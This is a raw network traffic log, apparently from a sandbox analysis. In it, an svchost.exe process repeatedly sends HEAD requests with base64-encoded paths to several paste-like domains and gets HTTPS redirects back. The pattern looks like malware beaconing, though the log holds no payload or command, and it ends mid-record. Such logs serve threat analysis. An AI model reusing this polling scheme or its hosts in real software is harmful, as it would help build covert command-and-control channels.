Jan 12, 2025 09:27:21.186387062 CET	860	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:21 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:21 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bTKyaxIfwyek0ypUV0JaV0bq62umQzdbT3k%2BL0ZxtOKKaUkBjUPCo6AodT5QIA0hDcsV405MadpNicAFmi3tjtR0ROkgE%2Fv%2BMqpHIT70C8UgMcdw9xpea3QXlPMSuRvI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc4511c085e60-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1708&min_rtt=1708&rtt_var=854&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.7	50337	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:21.192483902 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:27:21.664077044 CET	869	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:21 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:21 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jTADVErcSL2L6KucFFQ8OWYBdVVu2KBgDNzBQ8wbZQSY%2F9KRPascfb0mcEwIiJakpagC1O%2BTGR8quMjCmAkmR12x9C9epXwyifMNumoWwCzt9oGJ55lbPuaKyoZl5JziTvaM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc4540c7142cc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1749&min_rtt=1749&rtt_var=874&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=167&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.7	50339	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:21.282342911 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:27:21.729758024 CET	868	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:21 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:21 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xBlpsishq66XXZteDCgCGaQkaKnxOClFed5C93skkpv5x%2Ffei3BYEmR33qG4qbEIPyREej4v5iV76Tmh1CNsHnj7j2cDFxsFnQt6i7vvtpOS92zh6ah80NjKj3QJ5PNNmR8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc4548888efa9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1982&min_rtt=1982&rtt_var=991&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=161&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.7	50341	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:21.670886040 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:27:22.121372938 CET	871	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:22 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:22 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HIpDID9ZOQ3da1Wjk0oNywcHfJ711VxUl1i7mSrHFdX0ViUp%2F1wQ1zTUn9ePWsORjQ1t5LbuR63IDyOSOSH0bKnyAEF8li0GdHaQKtKZ2FIWROV7WMD2xE2vwBm9jZhQpwQm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc456f8f1c358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1677&min_rtt=1677&rtt_var=838&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=153&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.7	50343	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:21.739140987 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:27:22.195008039 CET	878	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:22 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:22 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gLTuH%2BgIK%2BCbyn%2Bi4eyQ%2FSRxz%2BomlZgy3Qx43MEbnevFzlSO9XP1vhg6d%2FYv%2BtOtR%2B7yEFLH%2FHek1fSRnFazsVoSql4eki0ZCTiHwUzXqjOpabgTw0%2FB%2FFml80qQMcO%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc457697b78e7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1992&min_rtt=1992&rtt_var=996&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=232&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.7	50348	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:22.201083899 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:27:22.687138081 CET	875	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:22 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:22 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fqN5ASdC5UoQVas3TZlMYJ%2BNIDTAEiw5x8%2FPu0L69B76YmlGMN864aKfVSsEJI9u2kfKKPAP3pMwrnmj10XXiCmTx2fSTiJFihW4fZAog%2FtZKFNNqy%2FJ7yp%2BjfKCxcKbAgxE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc45a79e2efa3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1894&min_rtt=1894&rtt_var=947&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=120&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.7	50350	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:22.600091934 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:27:23.078497887 CET	868	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:23 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:23 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7vjE9TOt5Ij1C2XtC4tvvVNY4owSRMJFfvXpSx2J%2F9Zp9VC55kJMLUXsDGyiKj1ClblBz6obf4uWPS9cN7luUesGhRdavi4nXa9KA2T2H85qgoXYJLG0vjheXcFwoGgTFaI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc45ceb7d8c84-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1803&min_rtt=1803&rtt_var=901&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=174&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.7	50352	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:22.693713903 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:27:23.140355110 CET	877	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:23 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:23 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Tp270G49909mn8TgL60VK%2FkKW8fv7a8v0xv2Uy6x%2Fsu7yvFKpaxoUswzQB41Qd5WbQyFVlFScG8NgXhr2Q%2FHt98GUm543gkxty02YJRXMnW1emkQRlimJ3EVPcJslSS%2Fv7NI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc45d59014414-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1758&min_rtt=1758&rtt_var=879&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=178&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.7	50354	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:23.085103035 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:27:23.561980009 CET	866	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:23 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:23 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jwiyjHda8MPCbxcocMZ5%2BCB8vBaICv5qmgV3AYkDm3ofeqrQc0%2F0QdQuF27llX%2BAFngxqn0q81f%2BDUqaSCSPwvCmCXICmz%2BLjCo3yZUf2b60BuA%2B40DSGLlT0cvdVOZ9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc45fe9dd0cb2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1453&min_rtt=1453&rtt_var=726&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=150&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.7	50359	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:23.568573952 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:27:24.042653084 CET	873	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:23 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:23 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Rf%2F9UZn9nNxDDNHcQ11EGEj6%2BAssP2wPuC29D3C7QyQwcfFGgmcA4GRBURCdo6cm04OkMwfauJNgR%2BnGIJarKS1oZ9dOSlFiSGfSDyGvcqv9ja1GqZeg5i%2BSgtqMnI1xx06l"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc462ec4943e0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1589&min_rtt=1589&rtt_var=794&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=246&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.7	50361	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:23.623661995 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:27:24.096158028 CET	879	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:24 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:24 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QJkz927y1LokFB%2B2ggUFybLb5TdOnRDFDTSDlwrfcgCKd%2Fhcl9oa09PtV6Ynd8rHnRFijL1KlVxW5LSauReoB0sPuMO%2B5%2FdDcw%2B5m%2FnJqbnwT1HYx8ZEoKKWWQozCfhWtrU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc4634e3d422d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2094&min_rtt=2094&rtt_var=1047&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=230&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.7	50363	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:24.049115896 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:27:24.528991938 CET	873	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:24 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:24 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EOQ2qjizsd7lP8ZyPCBqgmog6dTBplEN88%2BuBXg6FfnmnAgRMK7WkAnhsh6xYUlw5LdRlZBZJlDfKYq3MTTSGfSldEvvpy0stiaWaTcaF6%2FVMuVp6kZfEMatmKdkDiml2JKL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc465fe4ec358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1655&min_rtt=1655&rtt_var=827&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=153&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.7	50365	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:24.102838039 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:27:24.561486006 CET	860	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:24 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:24 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S%2FqcwqU7Ex6UgsRAIjZuTde8n59xmHSg%2FqXpGtME7NpTh7YnvkY7N1HnAIE4qAX1RdOiVHeOXEk9UnW1at13jtfglL3kVKjM396UIEjwdEtI%2BDSLjaAYgKvcfV3iMr1g"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc46629526a58-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1669&min_rtt=1669&rtt_var=834&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.7	50370	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:24.567773104 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:27:25.106439114 CET	871	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:25 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:25 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LPkLz73Qf7Re9GvuSzmLC5epbvfVAS9GCfZM3XS%2F9bS3V2g4fFMmRNQ1oLPqrF9tPBuytaSHjc7MI1d4A9cv9saS%2BqWLuU%2BKbAko2aiIgo9GjAF5slNHxqnHm7BU7tic7F82"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc4698c7a42fc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1544&min_rtt=1544&rtt_var=772&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=186&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.7	50372	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:25.033137083 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:27:25.508781910 CET	866	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:25 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:25 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nizsywT2DTZ0HNbtUubXVmZXX9f1ZAnDtPQZQsrh7iFS2UwOwDAGx6KS8GO2qXoJoao3rLnGKsQtWG6t3vYDniKQDR3QkQ8Frv9OUU5cGoLM8FZb0xhigoUH4fdNV8zVphg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc46c1e1a5590-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1619&min_rtt=1619&rtt_var=809&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=140&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.7	50374	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:25.121336937 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:27:25.582278013 CET	873	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:25 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:25 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hOH32z1mJJxlWJWp3R2RfflY0baplaeLFbwXx0US031dyLF03Qd97yDm43WeBurFCwIlznOX0rMBHFtUSAM1X%2FCbA%2Fboy0sfk7yYBcVLnLgZz1MHRQ0esrH1dIpETnxX2ABu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc46c8ac64414-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1772&min_rtt=1772&rtt_var=886&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=91&delivery_rate=0&cwnd=178&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.7	50376	172.67.198.113	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:25.515604019 CET	80	OUT	HEAD /STB/cGFzdGVzbmFwM.txt HTTP/1.1 Host: pastesnap.com Connection: close
Jan 12, 2025 09:27:25.968350887 CET	862	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:25 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:25 GMT Location: https://pastesnap.com/STB/cGFzdGVzbmFwM.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cpd6dgINEwJOUZvfCBdF5iN7DgTvMtnpsUJFrps5doIZ2jtq64Yj4JgIA6SBNf%2FEP6i3pnacGGD66s%2BSP76kBJt0WG2x%2Beuoh9VLhXjITmsxuRSta4vdPWC%2BGD5sG6LG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc46ef9025e79-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1647&min_rtt=1647&rtt_var=823&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=80&delivery_rate=0&cwnd=223&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.7	50381	172.67.176.186	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:25.974822998 CET	87	OUT	HEAD /STB/dGV4dGJpbnZhdWx0M.txt HTTP/1.1 Host: textbinvault.com Connection: close
Jan 12, 2025 09:27:26.428056955 CET	875	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:26 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:26 GMT Location: https://textbinvault.com/STB/dGV4dGJpbnZhdWx0M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DVvmvsT%2BNaKYGKKY7cZy8ikvuaaadjEsCk9J1wKjvparXhEibSBf7JEpMm7%2BVWLJ12agSvhvv%2FybUwL%2BE%2F9FzCshmW25VEHC7AaSQUDRav22j0UI5z9DfphArutTZQTxqQwd"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc471dff34386-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1545&min_rtt=1545&rtt_var=772&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=87&delivery_rate=0&cwnd=244&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.7	50383	188.114.97.3	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:26.079870939 CET	86	OUT	HEAD /STB/d2F2ZXBhc3NhZ2U=M.txt HTTP/1.1 Host: wavepassage.cfd Connection: close
Jan 12, 2025 09:27:26.560540915 CET	874	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:26 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:26 GMT Location: https://wavepassage.cfd/STB/d2F2ZXBhc3NhZ2U=M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mcw8jGtsBdqBB%2FHy%2FB9J3xl7QhGCaJCO3QtUwkVYNroQgtCtk3X9jtn%2BNoadFil4bMfWhk5LvIxb15AtJDljbQWbJKjpG1RBSOvG41ZvKcq%2BnSfYjOSVdnUv3HeYwCW6Tn8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc472ad06423d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1658&min_rtt=1658&rtt_var=829&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=86&delivery_rate=0&cwnd=184&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.7	50385	104.21.64.1	80	7628	C:\Windows\System32\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 12, 2025 09:27:26.434784889 CET	91	OUT	HEAD /STB/c2VjdXJldGV4dHdlYg==M.txt HTTP/1.1 Host: securetextweb.cc Connection: close
Jan 12, 2025 09:27:26.884705067 CET	875	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 12 Jan 2025 08:27:26 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Sun, 12 Jan 2025 09:27:26 GMT Location: https://securetextweb.cc/STB/c2VjdXJldGV4dHdlYg==M.txt Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VDu5eWdH37eJaFoSYft1tBDKJBkiCUfgTIhDIABQp2kaa4Tr4wM0GXRd7AZVGOtnvG3XV2t6P%2FdMmVOImub3%2B9dK60746npEfMfXf4m7c3gyVMMeHJ7yTO1xay%2FdoYkpgSEc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900bc474bd82de95-EWR alt-svc: h3=":443"; ma=86400 server-timing: 